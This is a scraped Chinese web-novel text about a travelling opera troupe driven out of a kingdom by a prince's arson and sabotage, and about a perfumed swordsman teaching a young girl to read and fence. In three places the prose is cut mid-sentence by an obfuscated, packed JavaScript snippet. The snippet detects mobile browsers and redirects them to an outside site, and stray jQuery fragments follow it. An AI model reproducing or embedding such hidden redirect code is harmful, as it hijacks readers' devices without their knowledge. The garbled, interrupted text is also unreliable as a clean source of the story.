同样这般思虑的还有沈佳期,柳源戏班名头打响,可不能缺失班主,在众人的撺掇下,他只得应承下来。作为新班主,他极有分寸,斟酌好哪家该去,哪家即使不去也影响不大,只需将不去人家的送礼一一退回。 但在此之前,得保证人家的东西完好无损,所以白无垢就在这里看着花伶,免得她毛手毛脚损坏东西,给大家添麻烦。 见花伶看得像个小白痴一般,白无垢语气里略带鄙夷:“有什么好看的,不都是些金子银子瓷器古玩字画,你们这些人,俗不可耐。” 尔后又一把拉回花伶想去摸箱子里东西的不安分的小手。 “你,讨厌!”花伶气得直跺脚,也无心再翻看那些宝贝,背过身去,不再理会他。你说不是宝贝就不是宝贝啦?你家里是有矿还是怎么啦,这么多好东东都瞧不上。 “怎么,这就生气了?”带着调侃与戏谑,白无垢依旧是像往常样的欠揍语气。 见她闷着不做声,白无垢就揪了院子里的一株狗尾巴草,偷偷地递上她洁白的脖颈。 “啊,痒,痒,无垢哥哥快住手。” “你看吧,笑啦笑啦!” 花伶跑,白无垢拿着狗尾巴草在后面追,穿越过院子里堆放的各类箱子盒子。红柳路过,柔声提醒道:“小家伙们,慢点跑,可别磕着碰着。” 孩子永远都是孩子,可以肆无忌惮地奔跑,嬉笑与玩闹,也不用操心生计,红柳见状羡慕不已,却也只是摇摇头,莞尔一笑。 见救兵来到,花伶立马躲在红柳身后:“姐姐救我。” 红柳拦过白无垢,把花伶护在身后:“好啦,你是哥哥,别欺负妹妹啦。” 花伶知白无垢这下无法再挠她痒痒,朝他挤眉弄眼,吐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598162|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着舌头,做着鬼脸。 沈佳期看着般若忙前忙后,心中略感欣慰,他花很多年在耿安国立足并且打响名声,才决定去别的国家发展。刚到玉霄国,仅仅一次登台,就落得满堂彩,风头更盛在耿安时,可不是不让人开心嘛。本来想着就这么在这里立身,买一处宅子,让大家伙儿安顿下来,也免得四处飘荡。 可没过几天,麻烦就接二连三来了。 这天晚饭后,大家本来都在院子里纳凉,晚风习习,卷着浓烈的茉莉香,就连知了声也是欢快的,众人唱戏的哼哈咿呀,捉迷藏的嘻嘻哇哇,谈天说地的哈哈哈哈,各得其乐。 每天晚膳后都是大家最欢乐的时刻,因为可以不用排练戏曲,做任何自己想做的事。 直到,天边的一小绺黑烟钻出空际,直冲云霄,带着恍惚的火红,打破了这个小团体的宁静。 最先注意到的人是外出归来的何婶,本来想着晚市热闹,高高兴兴地外出购采,回到家哪知道是这般光景,硬是愣了几秒,才惊呼道:“柴房着火啦!大家快救火呀!” 见火势汹汹,众人如梦初醒,慌手慌脚地前去打水灭火,急得如热锅上的蚂蚁。 这边有人刚刚打好满桶水,那边有人提着木桶迎面撞个满怀,水洒了一地。 慌乱中,也不知道是谁提了个酒坛闷头浇上一把,随即那火苗就像是吸饱雨水的种子,窜地往上长。柴房本来就堆着不少的枯枝散柴,丁点子火星一点就着,这下可好,火势更加凶猛了。 大伙乱作一团,花伶看着冲天火光,吓得躲在门后面哇哇大哭,小小的她哪里见过这般慌乱的场面,心底的恐惧如潮水般将她吞没。红柳见状,将她揽进怀里,抱进屋中,还不时地拍拍她的背,哼着小曲儿哄着。 还是个小孩子,会害怕很正常,尽管聒噪得厉害,红柳却是耐心地安慰着她。 沈佳期听闻了动静,挤进人堆里,虽然被呛得止不住地咳嗽,还是扯着嗓子喊道:“大家冷静下来,别慌,越慌越乱!” 说罢,又指着左边的人群:“那边几个去打水。” 又吩咐右边的人群:“那边几个人去浇水。” 剩下的人被安排着收拾杂物去了,将杂物和失火的柴房隔开,移到旁边空地上去,免得殃及左右邻居。 白无垢寻日里虽然是一副吊儿郎当的模样,但关键时刻敢于迎难而上,拎着大木桶就是一顿狂浇,颇有男子汉的担当。 二三十个人,打水的打水,浇水的浇水,除杂物的除杂物,在沈佳期的部署下,众人齐心协力灭了火。 再看看,柴房的半个屋顶都被烧空了,漆黑的木炭杵在外面,还冒着意犹未尽的白烟。柴房周边的旌旗被火燎得只剩下光秃秃的木杆,要不是隔离得及时,这得祸害多少邻里。 暴汗将大家的衣裳浸得透湿,好在并无人伤亡。 至于为什么会着火,本以为是天气炎热,众人也没太在意。 另一边,有人呷了口清茶,随即问道:“怎么样?交代你们的事情都办完了吗?” 21. 戏子入画满临初11 “启禀八王爷,您交代的事情属下已经办妥了,不过柳源戏班发现得及时,火很快就被灭了,并没有人员伤亡。” 他接到的任务,就是去柳源戏班放火,结果是什么并不重要,这只是对他们这群不速之客的一种警告罢了。虽如此,纵火案的肇事者还是将事情后续悉数说与眼前人听。 “嗯,做得不错。”那个被称作八王爷的人放下茶盏,把玩着拇指上的碧玉翡翠扳指,吩咐汇报的下属退下。 他和柳源戏班并无过节,只是对于突然出现在宫内的一切都抱有警惕。太子虽是戏痴,但太子对任何人的好,在他眼里都是拉拢和暗示。 这些日子柳源戏班去过不少达官贵人住处,指不定是太子打着唱戏的名义打探消息,他觊觎太子位已久,在宫中培养了不少势力,可不能让他们探查到蛛丝马迹。 即便柳源戏班不是太子安插的眼线,本就初来乍到,吓吓他们,让他们离开玉霄国也没任何损失。那样最好。 没有人细究这场火背后的蹊跷,柳源戏班一切如常进行,每两三天就在那些达贵家里出演一场戏,一场就是一整天。 眼看近半个月过去,柳源戏班依旧周转在玉霄国各处,倒是听着下属的禀告,八王爷坐不住了:“还不走?看来不做点什么,他们是长不了记性的。” 说罢朝那个下属招了招手,示意他过来,贴着耳朵窃窃私语一番。 这天,沈佳期带着十几个人外出了,般若留守看家,就见不知哪家贵胄的小厮抬着一个红木箱进来。 箱子里装着整箱黄金,白无垢不在,花伶又在好奇心的驱使下摸东摸西,看着满箱子金光闪闪,般若啧啧叹道,果然是大户人家,做事方式真是简单又粗暴,直接拿钱砸…… 金子最上面附着张拜贴,署名是个姓丁的财主,日期是在两天后,下面还附了行小字:如若不来,后果烦请自负。 看到拜贴,般若立马意识到不对劲,这不是邀请……这是赤裸裸的威胁啊,本欲询问一二,送礼的小厮已经没了踪影。 沈佳期散场后回到戏班,听闻消息,倒是淡定,联想到上次的火不是天灾而是人祸,拿着拜贴,冷哼了句:“鸿门宴,去呗。” 不去能怎么办,上次是放火,这次难不成变本加厉要杀人? 沈佳期倒是要看看,这一把火烧了柴房的是何人。柳源戏班甚至还抓紧时间特地排了出新戏,叶童舟唱旦角,公冶垚唱生角。 公冶垚是全戏班唱生角唱得最好的人,旦角之所以选叶童舟,是因为叶童舟是目前能唱旦角里的最年轻的人,才十几岁的年纪,无论是旦的姣姣容颜,还是婀娜身段,或抑是声线,都比那些三四十的人更可塑。 光是选角排戏,已经给足对方面子,沈佳期想着,再怎么不讲人情,也不会再过分为难柳源戏班吧。 日子来得很快,沈佳期的眉头这两天就没舒展开过,整个戏班也被阴翳笼罩着,除了花伶和白无垢每天嘻嘻闹闹,其他人的心情都是沉重的。 丁财主家甚至被特地布置过一番,到处张灯结彩,颇为喜庆,好像有什么喜事,看这场面,没有人会把它和之前威胁的拜贴联系起来。 宾客满堂,所有人面上带着由衷的笑,不掺半点虚情假意,除去柳源戏班,还有好几个其他的戏班子。曲折画廊,满满当当被挤了个水泄不通,氛围相当和谐,并不像一场策划已久的阴谋。 前面的戏班各自粉墨登场,一番吹拉弹唱好不热闹,根本不像会有事发生的模样。 正当众人念着岁月静好,打算松一口气的时候,意外发生了——戏台上的搭板突然断了,恰好那时,叶童舟一脚踩下去,落了个空。 结果就是叶童舟从一米多高的戏台上掉下去,摔断了腿。 担心了这么久,意外还是发生了,沈佳期也顾不得戏唱没唱完,背着叶童舟马上就寻郎中去了。 看着叶童舟因疼痛而虚弱得惨白的脸,沈佳期满脸自责:“我早该想到,这是有人容不下我们啊!别家戏班都好好的,怎么一到我们上台就出幺蛾子。” 郎中看了下叶童舟的情况,连连摇头:“伤了筋骨,彻底好是不可能了,可惜这娃娃,还这么年轻。” 叶童舟盯着腿上的布条出了神,老先生的话久久在他脑海盘旋,开始思考自己的未来。 沈佳期让般若吩咐下去,让大家收拾行李,等叶童舟稍好些,不日便离开玉霄。 留得青山在,不怕没柴烧。 没事,大不了回耿安,他还有一颗不知道如何起手的棋子,沈佳期有些庆幸自己当初选择了耿安,这和那小子的身份,不谋而合,他甚至做好了最坏的打算,要是哪天戏班真的走投无路,他就把白无垢绑了,让霜满天交钱赎人。 正想着,白无垢又吊着那枚巴掌大的玉佩在他眼前晃悠,沈佳期甚至有点怀疑是不是有人针对白无垢,揪着他的耳朵道:“臭小子,财不外露你知道吗?” 这财,当然指的是他腰间的那件双爪螭龙玉佩,连沈佳期这个外行人都知道这里面有门道,那些手腕铁血、权势滔天的人们更是能懂里面的门道。 “那我把它二两银子卖给你可好?”白无垢又是一脸笑嘻嘻的赖皮样,这玉看着还不错,二两银子应该是值的吧。 白无垢并不喜欢带这类的配饰,因为觉得累赘,奈何霜满天三令五申让他不许把玉佩弄丢了。白无垢又没什么收捡,只能把它戴在身上,霜满天当时还念念叨叨地说这玉佩可护他周全,白无垢相当鄙视,哪个土匪腰间还吊一块玉,这不是活生生的衣冠禽兽嘛。 沈佳期心里骂着白无垢败家,白呆了这么多年铁岭山,连宝物都分辨不出来。 自上次从回风寨出来后,他还特地调查过这块玉佩的来历,这可是耿安蓝地出产的极品寒潭玉,千百年就成这么一块,当地知县仅因进献了这块玉,直接官升了好几品。 “不要,你自己藏起来。”他可受不起,沈佳期知道,当初的那块寒潭玉,皇帝特地请了全国最好的工匠一分为三,雕成了三枚双爪龙,都在耿安国三家继承人身上。 沈佳期调查过霜满天的身份,他是耿安白家国主的儿子,这玉佩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598163|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该就是霜满天的。至于为什么会出现在白无垢身上,估计是为了保护白无垢。可他又打听到霜白两家目前就这一个孩子,霜满天口中的这个“弟弟”真假有待进一步确认,只是不知这白无垢和耿安国皇室有什么联系。 白无垢究竟是谁不重要,可这玉佩却是真真切切的国主之物。要是真收下这枚玉佩,达成这笔交易,他沈佳期可就是喧宾夺主,大逆不道了。 见交易泡汤,白无垢又去磨花伶:“好花花,这个玉你帮我保管着吧,班主大人看它有些不顺眼,非让我把它摘下来。” 花伶最近看的宝贝比较多,已经看出了些感觉,一眼就看出这玉中另有乾坤,觉得它是个宝贝,立刻两眼放光,小心翼翼地捧了个锦盒将它收藏起来。 “师父,我们就这么回去了吗?”花伶不懂时局,只是个屁颠屁颠跟在众人后面凑热闹的小毛孩,看着大家收拾东西,花伶腆着不解的小脸蛋问道。 “怎么了?遗憾啊?” “没……”花伶声如蚊呐,她也没想到,童舟哥哥会在戏台上受伤,大夫说伤得很严重,那会不会以后一直都唱不了戏了,想到此,花伶一阵后怕。 “不能有人再成为下一个童舟哥哥了。”沈佳期的声音很低,这声里,有懊悔,有自责。 “啊呜呜呜,伶儿不要,童舟哥哥好可怜的。”花伶看向旁边某个摇着蒲扇淡定地躺在竹床上纳凉的人儿,一把扑进他怀里。 叶童舟苦笑,只是伤了,又不是死了,干嘛嚎得跟哭丧似的。这个没心没肺的师妹最近都跟着白无垢鬼混,现在才来过问他两句,要是他不断腿,她还记得有他这个师兄吗? “你哭啥子哦,我都没哭呢。”叶童舟苦笑,揉了揉她的脑袋。 唱戏是不可能了,谁乐意去看一个跛子在台上唱跳,不过他想好了,他也不是一无是处,叶童舟入戏班早,学会的东西比较多,在幕后敲敲锣打打镲还是可以的。 沈佳期怕他想不开,还在一旁给他吃定心丸:“没事的,等回到耿安,我给你请最好的大夫,他一定能医好你的腿的。” 叶童舟相信沈佳期,曾几何时,这个男人把他从大街上捡到戏班里,给他一口饭吃,教他谋生的手段,他一切的一切,可以说都是沈佳期给的,所以,无论他变成什么样子,他都会选择做沈佳期的追随者。 收拾完毕,沈佳期觉得自己像个逃难人,拖家带口地带着整个戏班离开。 “走了。”白无垢牵着马,冷冷地酷酷地说了一句。 屋檐上有人看着他们渐渐离去的身影,立马去向宫内人汇报。 “不错,算他们识相,这件事,本王也就不追究了。” 一箱沉甸甸的黄金买一条腿,也是值了。 这头的荣贵妃本绞尽脑汁安排着一个柳源戏班和玉景奕的“意外”,却没想到有人已经提前下手,导致主角已经离去,怅然道:“算了。” 反正来日方长,没了羽翼,那身在冷宫的静妃能掀起什么风浪?还有小小的玉景奕,没有任何势力支持,根本做不到咸鱼翻身。 22. 酒尽桃花凉10 望南山边上有个小村落,村子不大,却因依山傍水,据了方好地儿,稀稀拉拉聚集着几十户人家。 村里有个德高望重的教书先生。这位先生早些年间是个走南闯北的商人,有些见识,也攒了些积蓄,在年迈以后,便荣归故里,在家乡开了个私塾,教村里的孩子们念书习字。 每次两人去看望小花娘亲,经过私塾时,里面都会传来孩童们的朗朗书声。 “……子不教,父之过;教不严,师之堕……”有一次,慕卿驾着马车经过的时候,里面的孩子正在背诵《三字经》。 彼时阳光正好,透过窗缝,依稀可以看见角落里有个丁点大的娃娃,嘴里正在摇头晃脑念叨着什么。老实说,慕卿被那般光景吸引住了,毕竟花雕也到了该明理辨是非的年纪,学些诗词文赋,懂些礼义廉耻也是好的。 古语有云,女子无才便是德,世有《女诫》《女训》《女则》,却鲜有寻常人家给自家闺女专门接受教育的机会。 什么狗屁女子无才便是德,都是哄着女孩子们心甘情愿相夫教子的谎言,且看那些大户人家的小姐们,哪个不是满腹经纶、才艺双绝,慕卿才不会让他的小花雕做个目不识丁的傻子呢。 倒是花雕,任凭私塾里动静再热闹,她也不为之所吸引。依旧如常,在马车里翻着花绳或嗑着瓜子,亦或是如老猫晒阳般沉沉睡去,直接等着慕卿停车后叫醒她。 她年纪虽小,却经历过被抛弃和丧失亲人的痛苦,也开始懂得些道理,什么热闹,终归是别人的,两人一马才是属于她的美好时光,而慕卿这个眼前人,才是她应该相守相伴的。 至于学习什么的,她完全没有兴趣,慕卿其实曾教给她很多东西,她只是囫囵吞枣、走马观花地学了个一二,惹得慕卿连连摇头。只因她知道,即便学不会也没有关系,因为慕卿会一直在她身边,教她第二遍、第三遍…… 哪怕最终,她依旧什么都没学会,其实也不打紧,慕卿百般护着她,也没指望她能学会什么——这更给了她娇纵的资本。 那是第一次,慕卿没有趁着正好的春光去醴泉山,而是有了在望南山安定下来的想法。他的花儿念过私塾,懂些礼义廉耻,识得百文千字,也算是半个知书达礼的大家闺秀,等长大以后,嫁个门当户对的丈夫,相濡以沫,白首终老,就很好。 想罢,慕卿嘴角不自觉上扬,暗笑自己荒唐,不过是个萍水相逢的人儿,他却已经自作主张替她走完了此生。他连自己的生活都做不了决定,却想着替花儿决定路该怎么走。 真是,自作主张啊,他甚至都想不到,他们什么时候会分道扬镳,那时候他走他的路,过他的桥,渡他的河,又是孑然一身,而花雕那时候,也该回到她正常生活了吧。 趁着孩子们的课隙,慕卿找到教书先生,约莫着攀谈了一番,问了个大概,月费不贵,才八百文铜钱,慕卿毫不犹豫地就交了大半年的钱。 老先生姓龙,八字撇胡子,穿着板正的卦袍,手中常执一柄折扇。见着花雕,老人家有些惊喜道:“是个女娃子啊!老夫这里许久未曾见女学生了,却不曾想今日能见着,真是稀奇。” 慕卿应道:“孔老先生不是说‘有教无类’嘛,无论贫富贵贱还是男女老少,都有学习的权利,自古便有‘巾帼不让须眉’一说,更何况我们家花雕本来就又聪明又乖巧,不会让先生过于费心的。” 面对眼前这个陌生老人,花雕害怕极了,这情景她似曾相识,曾几何时她也是这样被慕卿丢给河叟。花雕以为龙先生是下一个河叟,慕卿又要独自跑路,就躲在慕卿身后,死死地揪住他的长裙不撒手。 上次也是这样,花雕抱着慕卿坐骑追风的腿,以此耍赖皮不让他走,最终慕卿妥协,留下了她。花雕怕他又要离开,故技重施,希望慕卿别撇下她,不要再把她送给别人。 此情此景多么相似,慕卿一下便明白了花雕心中想法,牵过她的两只小爪子,蹲下身来,把她推到龙先生跟前:“你且跟着夫子好好学习,我就在我们的家里,不会走的,下午散学便来接你。” 慕卿从来都没有骗过她,听闻这句话的花雕像是吃了颗定心丸,心中笃定慕卿不会再丢下她。那么,她会按照慕卿所说,好好地跟着老师学知识,然后……等着他来接她回家。 私塾里都是男孩子们,难得来个小女娃,大家都觉得稀奇,趁着课间休息,将她围了个水泄不通,好奇地打量着她,像看着杂技班铁笼里的小兽一样,个别手欠的小娃娃还伸出爪子来揪她的脸,抓她的辫子。 花雕本来受着慕卿百般呵护,又一直随着慕卿,很少见生人,胆子小,哪里受得了这种围观又动手动脚的委屈,遭遇此情此景,“哇”地哭出声来。 看见唯一的小女孩被欺负了,龙先生气得吹胡子瞪眼睛,咬牙切齿地说要惩罚肇事者。两个人,一个揪脸一个抓辫子,每个人都挨了一戒尺,并罚抄十遍《礼义经》。 大下午的时候,慕卿还没出门接她,却看到小花哭着鼻子自己回到家,仔细一问,才知道小花在私塾里被别的孩子欺负了。第二天,小花死活不出门,死乞白赖地缠着慕卿。慕卿不忍心,跟龙先生告了假,决定亲自教她。 就从最简单的数字开始吧。 “这是‘一’,是一个数字,表示个数,比如说一个人,一个故事,一段经历。”慕卿拿着根小枝丫,在地上边写边解释。 “哦,一。”花雕跟着他念,也学着他的样子,拿了根枯木,歪歪扭扭地在地上写下个“一”字。 慕卿见她写不稳笔画,便捉住她的手,引导着她写字的走向。 小花学得很快,才一个上午,已经熟练地掌握了十个数字的写法。 第二天,慕卿打算趁热打铁,教她一些更难的字符。花雕倒也聪慧,接下来几天,陆陆续续学了几十个字。日子过得不起波澜,要不是中间出了个小插曲…… 那天,慕卿像往常一样在门口的沙地上教小花写字。 “您。你看这个字,上边是个你,下面是个心,您的意思啊,就是说,我把你放在心上,是指很尊敬很重要的人。” “嗯嗯嗯。”慕卿这么解释浅显易懂,小花连连回应他,表示自己听懂了。 “爱。和喜欢的意思差不多,但比喜欢更深一些。” “磨精这个字太难了,我写不好。”花雕瘪嘴,扯着他的袖子撒娇道。 慕卿细瞅,字的笔画数的确是有那么一点点多,该怎么跟她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598164|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释呢? 哎,有了! “你看啊,这上面是屋顶,可以用来遮风避雨,屋子下面有三根房梁,有它们支撑,房子才能结实,这里面也有个‘心’字,这说明爱是要用心的,最下面是半个‘友’字,寓意着大家能够友爱团结。” 慕卿又告诉她,爱就是有人愿意替你遮风挡雨,并且心无杂念以诚信相待,他早就将你当做家人、朋友,你于他而言,是不可或缺的存在。 “那磨精,你爱我吗?”花雕看了半天,还是觉得这个字无从下手,便转了个话题。 看着她严肃认真又满脸正经刨根问底的模样,慕卿“噗嗤”一声笑了。 爱啊,怎么会不爱呢,他的小傻瓜。 从花儿五岁那年遇见她开始,已经爱了三四年,并且以后还会继续爱着她。花雕于他,早就是不可或缺的一部分,是很重要的存在。 为了避免她纠结,慕卿嘴上说的却是:“爱分很多种,有兄弟姐妹之间的,长辈对晚辈的,夫妻之间的。我爱你,我们这样的爱,属于长辈对晚辈的。但你以后,会找到一个比我更爱你的人,这个人,他属于爱情,他会和你相伴一生,执手终老。” “我也爱磨精,很爱很爱,因为你是我的您。” 等等,您字好像不是这么用的?是不是教错了,怎么总感觉哪里怪怪的。 你是我的您。因为这句话,慕卿纠结不已,就连就餐都思来想去,比平日里少吃半碗米饭。 要是师父还在该多好,师父一个瞎子,光靠几块泥板子都能把他教得如此优秀,定是因为他老人家有什么独门秘诀,要是可以传授给他,教小花这个小崽子不是跟切砧板上的菜一样得心应手嘛。 可现在,慕卿遇到了他教学史上第一个滑铁卢,就因为小孩一句乱造句的话,他开始怀疑自己能不能把她教好,思前想后,慕卿决定还是将小花送回私塾,免得自己误人子弟。 慕卿哄了好久,又跟她千保证万保证,一定不会再有人毛手毛脚,花雕这才答应他,继续回去上课。 慕卿跟龙先生说清事情原委,还拜托龙先生多加照看,话余,悄悄地塞给他一锭金子,算是对小花特殊照顾的费用。 龙先生只是将金子塞回,并未收取分文,说了句:“我跟小丫头也算是有缘,自然会看好她的”。 眼见着那个粉雕玉琢的小姑娘又回来了,大家开心之余,还瞥见龙先生严肃的表情,不禁想起上次的戒尺,手不由得往回缩了几分。 花雕在私塾学习,慕卿得了空,一个人在家倒也落得逍遥快活,每日大红大紫的穿得艳俗,山上山下、屋里屋外地忙活,大半年下来,收获颇丰。 又是一年春来到,慕卿闲来无事,购置百余株桃树苗,打算再种个“桃花山”出来。 他记得花雕说过,她喜欢醴泉山,因为那里的桃花很美。漫山遍野的桃树,每一棵都是慕卿几年前亲手所植,到花雕来的时候,那些桃树已经开了花、挂了果。 如今,小花的娘亲也在这里,望南山对小花而言,肯定比醴泉山更重要,但如果他们一直呆在望南山,就看不到醴泉山桃花纷飞、落英缤纷的美景了。故而慕卿想为她把这片美景留下来,就在望南山。 23. 酒尽桃花凉11 又是一年春天,慕卿和花雕再次从黄山岛回到西梁,两人慢慢悠悠正准备前往望南山。 时近仲春,想来望南山上的桃花,都已经开了吧,忆及此,慕卿手中紧拉的缰绳不由得放松,恨不得下一秒就飞到望南山去。 慕卿赶着马车,花雕坐在一旁看外边春暖花开的景色。 偶尔别过头去看她,慕卿感慨着变化真大,不过才六七年光景,当初的黄毛丫头,已经出落得亭亭玉立。 花雕个子长得很快,从前不过是及他腰高,现在已经可以够到他的胸口,两人走在一起,从像一对母女,变成了像一双姐妹。 慕卿感慨,岁月真是不饶人的杀猪刀啊,从前她那么矮,自己又那么高,现在他的小姑娘个子长得跟雨后春笋似的,他倒好,还是老样子,气人啊。 花雕也羡慕慕卿,这么多年,他真的是一点都没改变,依旧是初见时那个十八岁的少年郎,皮肤好得吹弹可破,模样俊得似画中人,脸上一点岁月的痕迹都没,哪怕连一个斑点一缕皱纹都没增加。 两人一言不发地行进着,花雕突然提议道:“磨精,咱们骑马去吧,追风拉着马车会累的。” 慕卿两眼望天,极其无语。你以为我想啊,拉马车还不是为了某人,你要真有良心,每天不吃那么多不就好了嘛。 似乎已经成为习惯,每个冬天去黄山岛,每个春天来望南山。怀念花雕娘亲是理由之一,可更多是因为花雕喜欢,每次看到她像只脱缰的小野狗般撒丫子在桃花林里乱跑,开心得不得了的时候,慕卿就觉得自己做的一切都很值得,无论是几年前让她去私塾念书,还是种下百株桃花,还是日复一日地带着她四海为家。 正常情况下,慕卿是不会在同一个地方呆太久的——在他遇见花雕的前十八年里。也不会去大都城,他这一身香,走在人群中便是焦点,寻常他一般都会捡人少的僻静乡野居住,可即便如此,他暂居的屋子门槛都快被各路说亲的婶婶婆婆们踏破了。 甚至隔壁村的小伙子给他写了情书…… 慕卿表面上云淡风轻,一颗糙汉子的心被雷得外焦里嫩。 有花雕后,慕卿敢明目张胆地定居下来,给自己套个“丈夫英年早逝,独自辛苦带娃”的单亲母亲身份,并且理不直气也壮地嘱咐花雕,以后遇到纠缠自己的年轻男子,要记得叫他“娘亲”。 花雕只是觉得好玩,也不懂这个称呼是为了帮慕卿挡灾躲祸。慕卿在她口中有无数种身份,从初次见面的那声“哥哥”,到后来的“磨精”“师父”“娘亲”,其实花雕也不知道这些称谓背后究竟有何意义,只是怎么称谓都遂着慕卿意愿。 除了一天洗N次澡也没有办法祛除的幽香和明天不知道会去哪里的迷茫,慕卿的日子和大多数人都一样,他有自己的喜好,有自己的喜怒哀乐,有自己的职业——他是个酿酒师。 在漂泊如常的日子里,慕卿无论到哪里,都会做同一件事——酿酒。 更何况现在,他有了自己的目标和活着的意义,他不止为自己而活,更为他的花雕。 见慕卿屋里屋外地忙着,花雕也闲不住,趁着慕卿午间打盹的功夫,又败掉半箩筐谷子。 看着屋子里横七竖八的酒坛,花雕纳闷,果然还是不行,到底哪里做得不对呢? 这边,某人午睡醒来看到屋里的光景,皱着眉头,思来想去,气得从竹躺椅上跳起身来:“丫头,咱不浪费谷子行不?你要是把它煮成米饭吃掉不香吗?” 花雕吐了吐舌头,慕卿气是习惯,恨她烂泥扶不上墙,并没有半点责怪的意思,这她是知道的。 慕卿有点想开了,酿酒是门技术活,稍有差池便会前功尽弃,也许这种精细活根本不适合花雕,实在不行,换种思路试试吧。 “要不,我教你剑术吧。” 一语惊醒,花雕突然忆起,慕卿有柄随身的佩剑。原来,不是挂着好看的摆件啊,原来之前在黄山岛练的招式,并不是花架子啊,顿时看向慕卿的眼神里就多了几分崇拜,没想到师父还是个大侠。 之前都没有摸过佩剑,剑沉吗?那她舞起来会不会很僵硬呢……花雕心中突然多了好奇,这其中也包含着小小的期待。 像是猜到她心中所思,慕卿把剑抛给她:“看看?” 慕卿总喜欢扔东西,从来不会好好地递到她手中,久而久之,花雕自然学会从他手中稳稳当当地接东西,这是属于他们两人之间的默契。 佩剑以一种优美的弧度,划到花雕的手中。 师父的剑,是那种极古朴的样式,剑鞘上被磨得有些斑驳,显然已经有些年头。 剑身闪着寒光,剑刃极薄,削铁为泥,花雕把玩着佩剑,眼睛里闪着小星星,是把好剑啊,要是拿去卖掉,这得值不少钱吧。 又像是看穿了她,慕卿道:“你师公送的,这把剑有名字,归去。” 那意思就好像是:别人送的东西,好歹留作纪念,别又给老子败了。 可花雕慢慢将剑拔出来的时候,眼中欣喜的光渐渐散去,因为这把剑,是把断剑。 慕卿看着剑,难免有些睹物思人,想着无涯子早已西去,心中有些惆怅,嘴上嘟囔道:“要是那老头还在就好了,好几年不见,突然有点想他是怎么回事?” 慕卿突然想到他和无涯子初逢时。 慕卿和花雕不一样,他本是没有自由身的,作为空山谷精挑细选的药人,他一出生就被种下蛊虫,从此食遍天下奇花异草、名植贵株,他早变得和一味草药没有什么区别。 如果不是那个叫翎儿的女孩子出现,他不会知道,同为空山谷里的弟子,自己的优渥是有原因的,他活着,就是为了死去——把自己的生命,以独特的方式,献祭给他人。 起初,慕卿很害怕。后来,他在翎儿的帮助下逃出空山谷。当时他藏在出海的货物里,很不巧,船在路上遭遇风暴,他这才误打误撞登上黄山岛。无涯子便是他出山后遇到的第一个人。 彼时无涯子眼上覆着白绫,看不见他,却能很清楚地感知到他的存在,从他的呼吸中感受到他的惊惶。 本来是拄着竹竿在饭后溜达,没想到从天而降一个小娃娃,无涯子当机立断决定将其——捡!回!家!并且二话不说,敲晕了就拖走。 偌大的黄山岛就他一个人,很是无聊,上天赏他的小鬼哪有不收的道理。 醒了后,小鬼仍是一言不发,这几乎让无涯子怀疑他是不是捡了个哑巴。 见对方沉默不语,又闻到如此舒心的香味,无涯子试图攀谈:“小女娃叫什么呀?” “男……男孩子……”因为空山谷的遭遇和海上的风暴,男孩有些惊魂未定,结巴答道。 无涯子微怔,但很快便凭借着这么多年走南闯北的经验,想明白如此异香的因果,安慰他:“没事的,臭小子,别怕。” 无涯子给男孩取名叫慕卿,他听慕卿讲在空山谷的所见所闻,开导他,让他不为自己的身份所困,也尝试治疗他,但终以失败告一段落。 后来无涯子教他识文断字、品词酌句,也教他习武练剑。无涯子还告诉他,出师以后就离开黄山岛,去见识一下外面的世界,他还小,没必要一辈子都困在岛上。 空山谷绝不会善罢甘休,他们历经多年,花了大价钱,也只培养出慕卿一个药人。药人要禁受住蛊虫的反噬,多少儿童夭折,独有慕卿幸运地活了下来。 如今这样,算是偷来的幸福吗?慕卿反问道,又看着一脸花痴的花雕把玩着那柄旧旧的断剑,问自己,顺便又朝那人补了句:“小心点,别剌到手,很锋利的。” “师父,你不是要教我练剑吗,你把剑给我了,那你呢?”见他神游归来,花雕忙凑过去,问道。 慕卿不急不慌地随手折了根竹条,以凌厉的进攻之势朝花雕抽去,疼得花雕马上缩回手。 只见跟前人泪眼汪汪:“师父,你能不能对我温柔点,好歹人家是第一次做徒弟嘛。” 慕卿白了她一眼,本公子也是第一次做师父啊,凭什么要让着你? 终究是心软嘴也软,慕卿答道:“要是真遇见敌人,谁会对你手软?你个铁憨憨,到时候别成了人家的剑下亡魂,接着来。” 这一竹条子花雕倒是躲得飞快。 见氛围一时尴尬起来,慕卿索性讲些琐事调节气氛:“我跟你这个年纪啊,也是师父教我功夫,呐,就是你师公。他一点都不手软,每 